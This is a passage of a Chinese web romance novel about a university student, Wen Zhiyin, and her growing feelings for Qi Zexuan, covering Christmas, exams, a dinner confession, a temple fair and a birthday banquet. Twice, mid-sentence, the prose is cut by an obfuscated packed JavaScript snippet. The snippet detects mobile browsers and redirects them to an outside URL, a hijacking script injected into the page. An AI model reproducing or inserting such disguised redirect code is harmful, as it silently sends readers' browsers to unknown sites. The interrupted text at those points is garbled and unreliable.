学校一进门的地方放了一颗好大的圣诞树，上面挂着五颜六色的礼物盒子，有不少同学路过的时候都跑去拍照。 “知知，赶紧站过去，我帮你拍。” 苏菁菁喜欢凑热闹，这会儿又没人排队，拉着温芷茵就往前凑。 圣诞树前的女孩，伸手比了个剪刀手，抿着嘴露出一个温和的笑。 “好嘞，给你拍了好几张，回去自己选。” “那换我给你拍。” 苏菁菁做了很多搞怪的姿势，一会嘟嘴，一会学沉思者，一会又捡一根棍子当扫把骑，惹得温芷茵哈哈大笑。 路过教学楼时，看到楼下的空地上围了一圈人，两人好奇地走过去。 原来是因为节假日，街舞社的成员在给大家表演节目。 一个穿着黑色工装裤，运动卫衣，带着帽子的男生正在跳hip hop。 动作专业且强劲有力，尤其是单手掌撑地的时候，引来了一片欢呼声。 “好帅啊。”苏菁菁也兴奋起来。 温芷茵看得入迷，只是这一身的黑色，让她不禁想起另一个人。 那副肆意张扬的模样，如果是他来跳的话，一定更酷...... 回到宿舍，陈若和宋纤凝正在聊天，苏菁菁把包往桌上一扔：“我算发现了，只有咱宿舍没一个人收到苹果。” “没办法，咱们都是单身嘛。” “单身就算了——”苏菁菁双手握拳放在头上，趴在墙边做面壁状，“连一个暧昧对象都没有。” “菁菁，我记得之前不是有一个学弟在追你？怎么好久没听你说过了。” “别提了，学弟就是奔我money来的，想让我包养他。” “......如果身材好也不是不行。” 苏菁菁悲愤吼出：“身材好还轮得到我吗！啊！” 恰在此时，隔壁宿舍的阮盈敲门进来：“你们有人要苹果吗，有男生送来一袋子吃不完。” 众人沉默，目光纷纷投向苏菁菁。 只见她握住阮盈的手：“是哪个男菩萨，我给他免费挂表白墙。” 阮盈：“......” “咳，是我男朋友。” 苏菁菁：“......撤回刚才的话，走，吃苹果去。” 两人风尘仆仆地带上门后，宿舍里也瞬间安静了下来。 陈若和宋纤凝接着看书的看书，玩电脑的玩电脑。 温芷茵爬上床，开始刷朋友圈。 基本还是一些熟悉的面孔。 爱发朋友圈的会一直发，不爱发的基本从来不发。 就比如那个男人。 自从她加上齐泽玄以来，从没见过他发朋友圈。 温芷茵手指划着屏幕，点开那个动漫剪影。 思忖片刻，打下： 【圣诞节快乐呀/礼物/./祝福/】 这一次齐泽玄似乎正在看手机，回复得很快。 【圣诞节快乐/笑脸/】 好官方的回复啊，温芷茵心想。 他是不是在忙。 但是，其实不忙的话也没必要跟她聊天，也不知道自己在矫情什么。 她试图摆出一副随意的样子：【你在干嘛呀？】 齐泽玄：【和朋友聚会聊天，没什么事，怎么了？】 温芷茵：【噢/捂脸/....就是随便问问。】 她放下手机，觉得自己好像不太正常了。 这段时间，两人一直没有联系，她总觉得心里空落落的，很想听听他说话，听听他的声音。 更想......见见他。 可是真的联系上了，又不知道说什么。 和他好像也没有熟悉到可以随时聊天的程度。 正胡思乱想着，手机突然响了起来。 温芷茵垂眼，看到了屏幕上“齐泽玄”三个字。 心跳蓦地加快。 她赶紧下床，跑到楼道拐角的无人处，然后接起。 深吸一口气后，尽量保持声音平稳：“你好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15100188|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几秒后，对面传来嗤嗤的几声笑，嗓音偏沉：“我不太好。” 知道他是在逗她，温芷茵脸有点红。 “那个，你怎么打电话来了。” 齐泽玄收起了笑，“嗯”一声，“看看你是不是出事了。” “出事......为什么这么说？” “你欲言又止的，我怕你遇到坏人。” 温芷茵回忆着刚才发的信息，很像是尬聊，亦或者想传达某种暗号。 她尴尬得脚趾都要抠地了。 “没有，我就是——” “嗯？” “闲的。” 温芷茵吐出一口气。 她在说些什么乱七八糟的话！ 果然，那个男人又开始笑了。 这一次笑得更加放肆。 还在被自己蠢到无法呼吸时，听到齐泽玄问：“你今天没出去玩儿。” “没有，节假日外面人可多了，乌泱乌泱地，去哪里都要排队，在学校门口的圣诞树前拍张照都得排队。” 为了缓解尴尬，她一口气说了一大堆。 “你们学校的圣诞树好看吗？” “好看，这次布置得还蛮有心的，好多路过的同学都拍照了。” “那发给我看看。” 温芷茵一怔。 没有想到他会要看。 “......你等我一下。” 划开微信，刚才苏菁菁给她发了一堆拍好的照片，还没来得及保存。 其实都是一个动作表情，顶多是嘴角弯起的弧度有区别。 可是他要看树，也没有单独树的照片。 温芷茵犹豫一瞬，仔细挑了一张笑得比较自然地发了过去。 “我发你了，都是我跟树的合影。” “嗯，看到了。” “是不是挺好看的。” “好看，人和树都好看。” 温芷茵攥着手机的手指一紧。 知道他这句话只是礼貌性地夸奖，可她的心里又开始敲鼓。 还在纠结该说些什么的时候，忽地从他手机里传出陌生人的声音。 是一个很甜的女声：“玄哥，还在打电话吗？大家都在等你呢。” 温芷茵心脏猛地一沉。 整个身子像溺在水里，喘不过气。 她小声说：“你有事的话赶紧去忙吧，别让朋友等着。” 对面的人没说话，温芷茵还以为是信号不好没听到，刚想重复一遍。 又听到另一个男人扯着嗓子喊：“玄哥是你能叫的吗？赶紧给我过来！还真会自来熟！” 再后来，有衣服蹭到听筒发出沙沙的声音。 看来他刚才是撂下手机了。 “不是朋友，不认识的人。” 齐泽玄的语气有点冷，温芷茵不知道发生了什么，但她那种心脏发沉的感觉又莫名消失了。 “先这样吧，改天再聊。”齐泽玄淡声说，“节日快乐。” “嗯，节日快乐。” 电话挂断。 温芷茵低着头往宿舍走，她的手心冰凉，还出了汗，再摸摸脸，脸上却是热的。 一个电话，就能让她的心情像过山车，起起落落。 人生中从没有过这种感觉，对方的一句话，能让她开心很久，也能让她失落很久。 温芷茵摸着胸口，忽然意识到。 她好像......喜欢上了齐泽玄。 14.第十四章 少女的心事犹如水面上的波纹迅速蔓延开，一旦落下就再也无法收回了。 - 元旦一过，马上进入期末周，大部分课程也开始进行收尾阶段。 有比较善良的老师会给大家再画一遍重点，剩下的就直说考试重点平时都讲过，没听到就是自己的问题。 换来底下同学们的一片哀嚎。 大一期末考试的时候，温芷茵所在宿舍四个人都排进了班级前十，这次整理复习题也是最快的，有班上一些脸皮厚的男生就跑来跟她们要整理好的资料。 平时关系好的，她们也就给了，关系不好的，苏菁菁直接给骂了回去。 “这时候知道求人了，早干嘛去了。” 复习考试的同时，温芷茵还联系上了之前在学生会认识的一个学姐。 学姐叫杜夏，是统计学专业大四的学生，临近毕业时签了一家知名外企。 当时在学生会的时候，就对这帮学弟学妹说过，以后如果想实习可以找她，她帮忙引荐。 温芷茵想早点联系看看，寒假实习竞争激烈，怕考完试就来不及了。 她找到当时加的微信，认真编辑了一段话，然后发了过去。 【夏姐你好，不好意思打扰了，想问下你那边现在还能引荐实习嘛？我想这个寒假去试试。】 说起来两人已经很长时间没有联系了。 温芷茵盯着屏幕心想，应该不会太冒昧吧。 学姐似乎比较忙，一直到中午才给她回复： 【可以呀，我们部门长期招实习岗位，你把简历发我一份，我给经理先看下。】 【嗯，我晚些发你哈，谢谢夏姐/笔芯/】 温芷茵惊喜的同时又很忐忑，不知道领导会不会很严格。 晚上，她坐在写字桌旁，打开电脑开始写简历。 因为是第一次写，大概花了两个小时才修改到满意为止。 上面罗列了她的基本信息，学校专业课，学生会活动，性格以及擅长。 在十一点关灯前，她把这份简历发了过去。 温芷茵在第二天下午收到了杜夏的回复，没多久，部门经理就打来电话做了一个简单的电话面试。 她自认为回答地还算流畅，至于结果，要等到两周后才知道。 接下来的一段时间，她把经历都放在了考试上。 “菁菁，你做到最后一道大题了吗？” 从概率论考场出来，温芷茵皱着眉头说，“我怎么感觉时间不太够用。” “做到了，我瞎写的。前面一看不会的都跳过了，反正能及格就行嘛。”苏菁菁满脸不在乎。 出成绩那天，温芷茵喜忧参半。 喜的是她实习面试通过了，她打算先回家休息两天，然后再去报道。寒假时间短，加上春节那一周，满打满算也就一个半月。 忧的是她很担心概率论的成绩。 这个科目她复习得时间最长，虽然及格问题不大，但更想能拿到九十分以上。 所以在看到电脑屏幕上那个八十四分的数字时，温芷茵心里重重一沉。 为此郁闷了一下午。 考完试，还有几天就要放假了。 寒假要去实习，应该也会很忙，没有机会做别的事情。 郁闷的情绪加重，温芷茵恹恹地发了个朋友圈。 【好消息：考完试了。坏消息：马上要去实习，比考试还紧张/大哭/】 发完之后，就把手机放在床头，去水房洗漱了。 回来的时候，擦脸擦到一半，手机响了起来。 她迅速把脸擦干，拿起手机一看，原来是母亲叶清澜。 “知知，回来那天要不让你爸接一趟，我想着你那个床褥该换了，另外衣服也全都拿回来洗一遍吧，你在学校洗得不干净......” “好了好了，知道啦，那就让我爸来接吧，到时我再告诉他具体时间。”温芷茵不想听母亲唠叨，非常配合得结束了这通电话。 然后敷着面膜上了床。 百无聊赖地刷了一会儿微博后，她发现微信里多了一个小红点。 点开一看。 吓得差点把面膜掉下来。 齐泽玄在她的那条朋友圈下面回复了一句话： 【这么努力啊小姑娘。】 原来他是会看朋友圈的。 温芷茵把面膜重新贴回脸上。 思考了几分钟，在后面回道：【嗯，想提前适应一下社会，不过假期就打水漂了，只能休息几天，好悲伤/流泪/】 她想在后面补充一句“最近刚考完没什么事，有没有时间出来吃个饭呀”，又觉得会不会太刻意了。 正纠结的时候，消息再次蹦了出来。 【那就等实习完再好好出去玩一趟/笑脸/】 温芷茵看着屏幕发呆，面膜的精华水都滴在脖子上也没有去管。 如果不主动的话，又要错过了。 似是下定某种决心，她豁出去地发了一句： 【最近一周我倒是没什么事，要不要出来聚聚？】 - 温芷茵发誓这是自己最勇敢的一次，也是最社死的一次。 对于她的邀约，齐泽玄答应得很痛快，但提出是否可以带着卫煜和史策一起。 温芷茵整个大脑都是懵的，怎么都没料到这个结果。 只记得自己好像还装作很淡定地回复“当然可以”。 心里多少是有点难过的，但想到可以见面了，又觉得很开心。 聚会的地点是在一家古色古香的饭馆，很典型的徽式建筑，拥有一座私人别院，看上去挺有格调。 温芷茵很惊讶，因为来之前齐泽玄告诉她今天吃大排档。 进去的时候，卫煜和史策已经坐在vip包间等候。 包间的天花板是玻璃材质的，一层层环绕，能看到外面的星空，很浪漫。 温芷茵悄悄在齐泽玄耳边问：“不是说吃大排档吗......” “嗯，这里的口味和大排档无异，一会儿你就知道了。” “......” 见人都到齐了，史策拿出菜单：“吃什么尽管点，今天齐爷请客。” “那个女士优先吧。”史策把菜单推给了对面的女孩。 温芷茵拿着菜单扫了一圈，主要菜系是海鲜烧烤家常菜......还真和大排档无异。 “那要不吃烧烤？......” “都行，想吃哪个就直接点。” 温芷茵简单点了一些肉串和蔬菜，史策拿过来一看直摇头说太少，然后他又补了一堆。 另外两个人全程没有看，似乎吃什么对他们来说都无所谓。 “温芷茵......”卫煜身体略微往前，“你有没有小名之类的，或者，我们怎么叫你比较合适。” 他的语气依旧很客气，也很绅士。 “叫我知知就好，矢口那个知。” “知知——这个称呼蛮可爱的。”史策插了一句。 他说完的瞬间，一直在旁边默不作声的齐泽玄眉眼轻挑了下。 “嗯，知知，听说你考完试了，考得怎么样？” “整体还可以，就是个别科目不太满意。” 卫煜欠了欠身子：“不用给自己太大压力，那你毕业后有想过做什么吗？” “目前......还不确定，可能要过段时间看看。” “你若工作以后需要了解哪个行业，可以随时来找我，这算是回报。” 温芷茵露出惊讶的表情，不知道怎么回答，只轻轻点下头。 “你不是寒假要去实习，去的哪个公司？” 声音是从右手边传来的，听到这个声音，她心脏瞬间收紧。 温芷茵望过去，齐泽玄刚放下手中的茶杯，看她的表情仍然含着笑意。 “是Bay，一家德企。” “这个公司挺有名的，我记得去年排进了世界前两百，加油干。” “嗯。” 温芷茵白净的脸上微微泛红，手指一直扣着杯子。 “嘶——小姑娘，我怎么感觉你一跟齐爷说话就脸红啊。”史策一副若有所思的表情。 他说话总是不着调，温芷茵也不知道这话是认真的还是在开玩笑。 可心事被戳破，她的脸显得更红了，红润气色一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15104490|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延伸到脖颈。 “才、才没有，我就是觉得屋里有点热。” 她说得也在理，这间屋子的暖风开得不小，大冬天几个人只穿着单衣也不觉得凉快。 “一会儿吃起来更热了，我让老板把暖风开小点。” 总算是糊弄了过去，温芷茵轻吐了口气。 没过几分钟，烤串陆续开始上来了。 只有温芷茵面前摆着一瓶果汁，其他三人喝得都是听装啤酒。 她默默咬下一口羊肉，试探着说：“我也想喝啤酒，可以吗？” “不可以。”齐泽玄直接回绝掉。 史策：“想喝你就让人家喝吧，都成年了，这点儿要求还不能满足。” 卫煜：“我也觉得问题不大。” 温芷茵诺诺地说：“我以前喝过，我会喝的。” 面对一桌人的“抗议”，齐泽玄只得败下阵来。 他给她拿了瓶新的：“最多一瓶，你要是醉了，我们没法跟你家人交代。” 有史策在，这场聚餐一直没有冷场，天南海北地聊。 温芷茵大部分时间都是作为一个听众，只是在她在意的那个男人说话时听得更认真。 期间，齐泽玄离开了一会儿，不知道是去抽烟还是去卫生间。 “最近你的时间挺自由啊，不陪你女朋友了？”卫煜问。 “嗨，陪什么陪，早分了。” “又分了？你都谈了多少了，天天换累不累。” “不累啊，旧的不去新的不来嘛。” 卫煜默默吐槽了句：“花心。” 没想到被史策听了去。 “是是是，我花心，咱仨也算是物种齐全了啊。一个花心大萝卜，一个痴情种，还有一个万年单身狗。” 他说得很随意，却在温芷茵耳边重重一落。 她知道卫煜一直有个心上人，那另一个人，指的是齐泽玄吗...... 两个人喝得不少，明显大脑开始发胀，卫煜站起来：“我先出去透透气。” 说完去拿外套。 “诶等等，把我扶上。”史策急忙起身拽住他，“我也得去清醒一下。” 就这样，两人勾肩搭背地去了院子里吹风，只留下温芷茵一人继续吃。 其实她已经吃得差不多了，一听酒也只剩下一层底。 刚用毛巾擦完嘴和手，齐泽玄也正好回来了。 “他们人呢？” “去院子里吹风了。” 齐泽玄拧了拧眉，在温芷茵旁边坐下。 趁着一股劲儿上头，温芷茵又拿起那听酒，往他眼前一递： “最后一点敬你，感谢你曾经对我的帮助。” 她觉得自己起得范还不错，可齐泽玄却按住她的胳膊，一手拎走易拉罐：“别喝了，你喝多了。” 没有啊，她怎么会喝多呢？ 温芷茵觉得自己清醒得很，看东西也是很立体，很清晰地。 “我才没喝多，一瓶而已。” 她看到齐泽玄嘴角勾起，淡笑一声，似是有些无奈： “你说话声音都变飘了，还说没喝多。” 温芷茵盯着他，眨了眨眼。 已经没有心情琢磨自己的声音是不是真的飘了，她现在满脑子都是： 这个男人怎么这么好看啊。 剑眉星目，眼眸又黑又深邃，脸型也好看，瘦但有棱角，线条分明，嘴唇非常性感，看上去很好亲...... 要是能一直这么看着他就好了—— 温芷茵趴在桌上，双手撑着下巴。 “那个，我想问你个事儿。” “什么？——” “就是，你、你能做我男朋友吗？”她深吸一口气，似是鼓足了勇气。 齐泽玄放下酒罐的手一顿：“你又遇上什么人缠着你了。” “不是假扮的，我说真的，真的男女朋友。” 温芷茵有些急，往常清澈明亮的眼睛此刻水汪汪地，看起来像只无辜的小鹿。 话音刚落，另一边。 “咚”地一声。 齐泽玄手里的易拉罐仿佛脱了力，毫无征兆地滚落到了地上。 46-52 46、第四十六章 初一初二两天，父母带着温芷茵分别去了奶奶和姥姥家过年。 餐桌上，亲戚们聚在一起，免不了谈论一些家长里短的话题。不是谁孩子考上了大学就是儿女要结婚，又或是哪家拆迁又能等着躺平了。 温芷茵对这些八卦没什么兴趣，只顾低头一个人干饭。 “知知，有对象了吗?”二叔突然问道。 “没有，我还小呢。” 温芷茵咬下一块鸡腿咽下去，“不急。” 一旁的婶婶乐了：“年纪小也成年了，不耽误找对象。可别学你堂姐，毕业好几年才脱单，都成老姑娘了。” “也没有吧——现在的人找对象都晚，正常现象。” 婶婶给她夹了一块红烧肉：“是不是学校的男生没有看上的啊，婶婶帮你划拉几个，你想要什么样的?看看我这有没有合适的。” 面对亲戚的热情，温芷茵很无奈，却无法直接反驳。“嗯……我还没想好，要不这样吧，等我想好了告诉您，省得耽误您时间。” 二叔又发话：“知知不想找就算了，你手上也没啥好货，要有好的佳佳还能单身那么久。” “瞧你这话说的，跟佳佳没眼缘不代表和别的姑娘不成啊，这俩人都得看对眼才行……” 两人你一句我一句，不知道是不是在较劲，谁也不肯服输。温芷茵听着他们的辩论，插不上嘴，只能不停地吃东西来掩饰尴尬。 饭后，她意外收到了一条微信，是唐牧发来的。【今天去相亲无语死了/汗/】 温芷茵不知道为什么要给她发这个，他们两个之前除了学习讨论别的内容很少。她顺着回了一句：【怎么大过年的去相亲?】 唐牧：【这事说来话长，你有兴趣听八卦吗，我打给你。】 温芷茵有些惊讶，但闲着无聊，她也不想再被亲戚纠缠别的话题，便打下【可以。】 微信响起时，温芷茵被吓了一跳。没想到他是直接打了视频过来。 温芷茵犹豫几秒，还是按下接听。 唐牧应该是提前找好了角度，正面稍稍偏上45度左右，举着手机面带微笑。“吃饭了吗，不打扰你吧?” 温芷茵走到阳台处没人的地方，然后找了把椅子坐下，才看向屏幕：“没事，已经吃完了，你说吧。” 他顿了顿，以一种无奈的口吻缓缓诉说起来：“就是我妈这阵子吐槽我一直不找对象，然后终于赶上过年可以光明正大聊这事，非要让我去相亲。”“本来约好的初四见面，结果女方家里又说临时有事，改在了今天，我也挺无语的，这相完我还得赶紧赶回家吃团圆饭。” 温芷茵拿出一种专业八卦的姿态："那你感觉怎么样啊，有戏吗?" 唐牧叹口气：“我本来就不想去相亲，都是父母逼的，那女孩也不是我喜欢的类型。”看来大家都一样。温芷茵生出同情心理，安慰道：“理解，长辈都喜欢给人介绍对象，我们还得跟着演戏，真累。” 唐牧：“是啊——那你呢，你父母有没有让你去相亲?” 温芷茵没来得及回答他，突然听到屋里那边母亲在喊她的名字。 "先不聊了啊，家人找我。" “好……那你去忙吧，拜拜。” “拜拜。” 温芷茵挂了视频，回到客厅。 晚上回到家，她刷着手机，看到一个公众号发了篇关于过年长辈催婚的文章。温芷茵点开，读完后顺手分享到朋友圈。 不一会儿，有人回复了消息。以为是某个同学，想必是深有同感，打开一看，没想到是何珍。【这么小就被催婚啦!】 温芷茵：【哈哈没那么严重，就是有被介绍对象/尴尬/】何珍几乎是秒回：【想不想出来逛个庙会?散散心。】温芷茵对庙会的记忆很遥远，还是很小的时候跟父母去过。 【可以啊，去哪个庙会?】 何珍很快给她发了一个庙会的名字和时间。 …… 初六当天，温芷茵戴上她的白色帽子，套了件灰色羽绒服，出发去往龙景庙会。 这个庙会不是很出名大型庙会，因此来逛的人不算多。温芷茵看到门口站了几个熟悉的人。 何珍冲她摆着手，旁边是卫煜和苗子麟，齐泽玄则站在后面。她走过去和他们打了声招呼。“你们到的好早呀。” 温芷茵比约定时间提前了十分钟，没想到他们更早。 何珍拉起她的胳膊：“快走吧，一会儿给你买个糖人吃。”除了苗子麟，她的年纪比他们都小几岁，因此大家似乎完完全全把她当成小妹妹照顾。 今天温芷茵穿的衣服颜色和卫煜一样，他平时大都为灰色外衣，温芷茵也没多想，只是咋一看还真挺像情侣装。 庙会里大都是传统的小吃，像李记羊肉串、炸灌肠、炒肝、抹茶冰淇淋、豆汁、白记年糕，还有一些花会表演，非遗手艺蒙镶、漆雕、剪纸、糖画糖人等等。 在一处漆雕面前，温芷茵看得入神。 “喜欢这个吗?”是卫煜的声音。 “嗯，随便看看。” “上次你介绍来的那个朋友，他实习还顺利吧。” 温芷茵想起，他说的应该是唐牧。“好像挺顺利的，我后来也没问。” 卫煜略微诧异道：“你们不熟啊，还以为是你男朋友。” 她慌忙摆手：“不是不是，就是普通的同学。” 温芷茵和卫煜聊天的时候，另外三人各自在附近看表演。她向右后方瞄了一眼，又迅速收回目光。 不知道是不是自己的错觉，她发现只要人一多，齐泽玄就不会离她太近，也不怎么跟她说话。 何珍拉着她来到一个做糖人的老爷爷面前：“我要个凤凰的，你要什么?” 温芷茵想了想：“我属羊，也是白羊座，就要个小羊吧。” 何珍大笑：“你也太实在了，那行，我们要两个，一个凤凰和一只小绵羊。” 老爷爷的手艺很棒，用勺子浇出的图案栩栩如生，做好之后，温芷茵拿在手里看了半天也不舍得吃。 何珍，卫煜和苗子麟三人去看杂技表演了，温芷茵还在慢腾腾地吃着。忽听身后传来一道熟悉的声音：“这么好吃的吗?都吃了二十分钟了。” 温芷茵转过头，看到齐泽玄慢悠悠走过来，双手抱臂：“什么时候跟姓卫的这么熟了，跟他聊天都不跟我聊。” 嗯?明明是他一直不理她好不好。 温芷茵在心里默默吐槽，也不知道怎么回答，只能先接着上一个问题：“这个真的挺好吃的，我还是小时候吃过，都快忘记这个味道了。” 齐泽玄意味深长地看了她一眼，说了句莫名其妙的话：“话题转移得挺好。” “……”手里的糖人只剩下最后一口了，温芷茵轻咳一声，放下去问他：“你不去看杂技呀?” 齐泽玄沉默几秒，才缓缓开口：“兴趣不大。”他眼睛盯着她的手上，挑起眉：“我对你的糖人更感兴趣。” "啊?"温芷茵一时没明白他什么意思。 齐泽玄：“能给我尝尝吗，还从来没吃过。” 她瞬间睁大了眼，答应不是，拒绝也不是，说话都结巴起来：“——那要不、我去给你买一个新的吧……” 齐泽玄像是决心要吃她的似地：“不用，我就尝一口。”说着，他一把抓起她拿糖人的手腕，递到自己面前。低头咬下最后一口。 也不知道是对方一瞬间带来的热气还是自己心跳忽然加快的原因，温芷茵瞬间红了脸。 齐泽玄咽下糖人之后，舔了舔嘴唇，嘴角划出一个好看的弧度：“味道不错，很甜。” 他怎么能这样自然地吃她已经咬过的东西!温芷茵拿着签子不知所措地站在原地，慌乱中已经忘记该做什么了。如果还待在这里，她觉得自己马上快要自燃起来。 温芷茵扭头望向别处，企图寻找救援，正好看到对面有一个摆着卦签的摊子。她深吸一口气，提出建议：“要不要……去算个命?” 因为太紧张，她已经忘记齐泽玄说过不信这个。 “我不去了，你可以算下今年的考公运。”齐泽玄说完拽起温芷茵的手想拿过她手里的东西，这一动作又把她吓了一跳。 “你干什么?” 齐泽玄好笑似地看着她：“帮你把签子扔掉。” “喔……谢谢。”误会了对方，温芷茵恨不得找个地缝钻进去。 男人终于离开去找另一行人，温芷茵望向那个算命的摊子。其实她只是找个借口扯开话题，但已经说了，不得不硬着头皮上前询问。 “您好，请问算卦多少钱?” 摊主是一个戴着眼镜的中年人，手里拿着把纸质折扇，倒真有种江湖大师的风范。“五十元一卦，不准不收钱。” “好，那我算一卦。” 摊主眯着眼笑道：“小姑娘，你想算什么?” 温芷茵：“我想算今年的考试运。” "学生啊，那我给你打个折吧，两卦七十元，怎么样?" 温芷茵不想在这点事上纠缠，点点头：“好。”然后打开手机扫码，把钱转了过去。 摊主问了她的生辰八字，开始摇卦，又做着一些手势嘴里念念有词，温芷茵也看不懂，等了几分钟，终于停下了。他捧着签筒：“抽一个。” 温芷茵伸手随便选了个中间的，拿出来。摊主一看，惊奇道：“是上上签啊，小姑娘，看来你今年气运很好，加油啊。” “谢谢。” 虽然知道只是图个心理安慰，温芷茵心里还是挺开心的。 “另一个你要算什么?” 温芷茵琢磨了下，她自己好像没什么想算的了。不过……有点想给齐泽玄算算。看看他以后事业上会不会有麻烦。 “我给朋友算可以么?”“可以啊，告诉我生辰八字就行。” 温芷茵把他的名字和生日告诉了摊主，又是一阵念念有词，等停下来时，她问：“我替他抽不会影响效果吧?” “不会，他生辰八字在这呢。”摊主拿过来，这次没立即解卦，看了又看。 温芷茵心头一紧：“是不好的卦象吗?” “倒也……还行，有惊无险。” 心里的一颗石头落了地，温芷茵松口气：“那就好。” “不过——”摊主瞧着纸上写着的俩人生辰八字，“小姑娘，你跟这个朋友在一起会有麻烦啊。” 温芷茵心脏又立马提了起来：“什么麻烦?” 只见摊主在纸上划了几笔，摇摇头，郑重道： “会失身。” 47、第四十七章 失……身。 温芷茵反应了好久，才确认自己没有听错。 原本她看这位摊主还有些算命大师的风范，对卦象也信了半分。可现在，温芷茵想撤回刚才的误判。 什么算命大师，就是一江湖骗子!还专门骗大学生的钱! 齐泽玄回头时，恰好看到小姑娘满脸羞愤地跑过来。 "怎么了，算得不准?" “昂。”她少见地不怎么想搭理他，目不转睛盯着杂技表演。 也不知道为什么,齐泽玄有一种错觉，好像算得不准都得怪他。 …… 一行人看完表演，就此打道回府。 何珍突然说起卫煜生日的事：“煜哥，这次你生日宴会听说林小姐也会来，真的假的?” 卫煜表情凝滞片刻："是我父亲请的，毕竟在生意上还有合作。"温芷茵听不懂他们说的是谁，心思也不在这，思绪游离的同时，听到何珍喊她："知知——" 她抬头：“嗯?” “煜哥的生日宴你去嘛?” 温芷茵先前也没收到邀请，这会儿突然问起也不知道该怎么回答。“我……” “去吧。”卫煜替她做了决定，“二月十四号，反正你还没开学，来玩一下。”他的生日竟然在二月十四，正好是情人节。拒绝的话说不出口，她只能温声道：“好的。” 何珍附在她耳边，声音很轻地提醒：“这次还有舞会呢，记得学会跳舞……”温芷茵耳尖红了一瞬，没往深处想，只是觉得这是一种在他们圈子需要的社交礼仪。 温芷茵在家练习了一周的交际舞，都是趁着父母睡下偷偷练的。她肢体不算愚笨，学了一些基本的舞步，跳起来还像模像样。除此之外，还网购了一件礼服和舞鞋。 礼服款式是比较保守的设计，在颜色上她纠结了半天。黑色撑不起来，蓝绿黄太扎眼，白色显胖，最后挑了件从没尝试过的淡粉色。 晚上十一点，父母睡下之后，她把快递拆开，悄悄换上衣服和鞋子，在镜子前看了又看。大小合适，很清新的粉色，配上薄薄的纱料，看上去像蝴蝶仙子。 二月十四号这天，温芷茵一早起来画了个淡妆，把头发两侧扎起，简单弄了下发型。然后将礼服塞进包里，对父母说要去参加高中同学聚会。 父母也没怀疑，只叮嘱她少喝酒，注意安全。 “嗯，下午就回来了，不会太晚的。”按照卫煜发来的邀请函，位置是在一家五星级酒店里。 温芷茵打了车过去，到达酒店门口的时候，看到有侍卫过来询问：“您好，请问是参加顶楼客人的生日宴吗?” 温芷茵点头：“是的。”“好的，请跟我来。” 侍卫带着她走向电梯，并帮她按了顶层的按钮。这栋楼有三十层的楼高，电梯带来的超重感加速了她的紧张。还是第一次以正式嘉宾的身份参加这种宴会。 门口有接待的侍卫，看了她的邀请函后，冲她微微一鞠躬：“您请。”“请问换衣间在哪?” 别的客人大都是私家车接送，在家里就换好了礼服，此刻只有她站在门口穿着一身休闲装。 侍者懂事地指着走廊尽头的那道门：“在那边，您记得锁好门。” 温芷茵道了声谢。 从换衣间里出来后，她顺便给卫煜发了条消息：【我到了哈。】想着他应该比较忙，短时间内或许也看不到，温芷茵又给何珍发了一条。 马上到九点了，宴会即将开始，入场的嘉宾越来越多，温芷茵顺着人群进入正门。 相比上次齐泽玄的生日宴，这里的布置端庄了许多。 大理石砖上铺着厚厚的深红色地毯，巨大的水晶吊在天花板中央，一群群男女各个打扮得光鲜亮丽，互相寒暄。 齐泽玄的生日宴显然目的明确，不刻意张扬，只是为了巩固个人人脉。而卫煜的作风就不一样了，今天可以说是名流云集，彰显了卫家的财富和地位。 温芷茵穿梭在人群中，寻找着熟悉的身影。 终于在茫然地度过十分钟后，见到了在大厅一角侃侃而谈的何珍。 “知知，来让我看看。”她拉着她左右转了一圈，“这件裙子真漂亮，很适合你。” 何珍穿的是珊瑚色露背长裙，头发盘了上去，温芷茵笑着说：“何珍姐才漂亮，身材也好。” “小丫头嘴变甜了。”她捏了下她的脸。 旁边的几个女孩子好奇地打量着她问："阿珍，这位妹妹是谁呀，没见过呢。" “是玄哥的朋友——当然，现在已经被我抢过来当妹妹了。” "看起来好小啊，是不是年纪不大?" “二十一岁。” 虽然才刚过年没到生日，但温芷茵坚持说自己大一点的年龄。 对面惊奇道：“还没毕业呀，那玄哥怎么认识的，是学妹吗?” 温芷茵有点尴尬地摇头：“不是，偶然认识的。”因为不是这个圈子的，她最怕别人问起这个问题。 何珍识趣地打断两人：“先别聊这个了，不重要，好戏马上就要开始了。”说完冲大厅中央一瞥。 温芷茵这才注意到，不知什么时候，大厅中央的红地毯上多了几个人。 一位穿着黑色西装的中年人，头发鬓角已有些斑白，左边的女人穿着旗袍，应该是他的夫人。而右手边的年轻人穿一件燕尾服，正是卫煜。看起来应该是一家三口了。 他们周围站着几位相貌端庄的年长者，正在细语交谈着。 温芷茵收回目光，纳闷道：“什么好戏?” 何珍捅了捅她的胳膊，下巴一抬：“看那边，穿着白色礼裙的那位，是林念微。” 温芷茵顺着往一旁看去。 方才没注意到，在他们的斜对面，还站着一对母女。 母亲像是那种良好世家出身的女子，仪态大方得体，且不失优雅。而那位年轻女孩，五官精致，一双又大又勾人的桃花眼，鼻梁挺拔，薄唇上翘，漂亮得不像话。她抱着双臂一动不动，冷艳清贵，像只高傲的白天鹅。 “她就是你在庙会时提起的那位林小姐?” “嗯，是卫煜的心上人。” 温芷茵瞬间睁大了眼，原来是她。 